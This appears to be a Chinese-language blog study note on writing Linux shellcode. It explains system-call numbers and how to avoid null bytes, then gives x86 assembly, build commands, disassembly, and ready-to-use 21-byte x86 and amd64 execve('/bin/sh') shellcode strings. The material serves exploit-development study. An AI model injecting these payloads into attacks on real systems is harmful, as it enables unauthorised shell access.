Shellcode 's Magic
shellcode 原理 & 21byte shllcode
Shellcode
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.
虽然shellcode不常用 但是每次用到都要找博客比较麻烦今天整理一下。
int 0x80
将shellcode不得不提到汇编,也不得不提到int 0x80(实现系统调用)
这里记录一下调用号 [常用的的调用号][1] EAX | Name | EBX | ECX | EDX - | :-: | :-: | :-: | :-: | 1 | sys_exit | int 3 | sys_read | unsigned int | char * | size_t 4 | sys_write | unsigned int | const char * | size_t 5 | sys_open | const char * | int | int 11 | sys_execve | struct pt_regs
平时用的最多的是11号调用 execve("/bin/sh",0,0)
也就是要求 Reg | Vul :-: | :-: EAX | 11 EBX | addr_of_sh ECX | 0 EDX | 0
我们后面编写 shellcode 主要也是基于这个调用
Make shellcode Yourself
自己编写 shellcode 主要优点 是灵活 可以随机应变 在一些特殊情况下可以编写 特定的 shellcode 或者 利用一些 寄存器原始值 来编写 十分短的shellcode.
坏字符
一般情况下首先考虑的是坏字符 其中0x00是最常遇到的问题 最常见的是使用xor
xor ax,ax ==> 0->ax
还有就是在mov时容易出现0x00 因为mov eax ,5; 其实是mov eax ,0x00000005 所以应该使用 mov al,5;
0xa坏字符遇到的不太多…如要绕过可以通过!@#¥%
参数/bin/sh
常见的做法是压入栈然后取eap 也就是
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
Make it
souce:
Section .text
global _start
_start:
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
编译 链接 命令如下
nasm -f elf64 shellcode.asm -o shellcode.o
# 32位系统 用-f elf
ld -s shellcode.o -o shellcode
反汇编之后#objdump -d
00000000 <_start>:
0: 31 c9 xor %ecx,%ecx
2: f7 e1 mul %ecx
4: 51 push %ecx
5: 68 2f 2f 73 68 push $0x68732f2f
a: 68 2f 62 69 6e push $0x6e69622f
f: 89 e3 mov %esp,%ebx
11: b0 0b mov $0xb,%al
13: cd 80 int $0x80
这里我们采用最灵活的人脑提取法得到shellcode
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
#浓缩的21byte
amd64shellcode
shellcode= "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";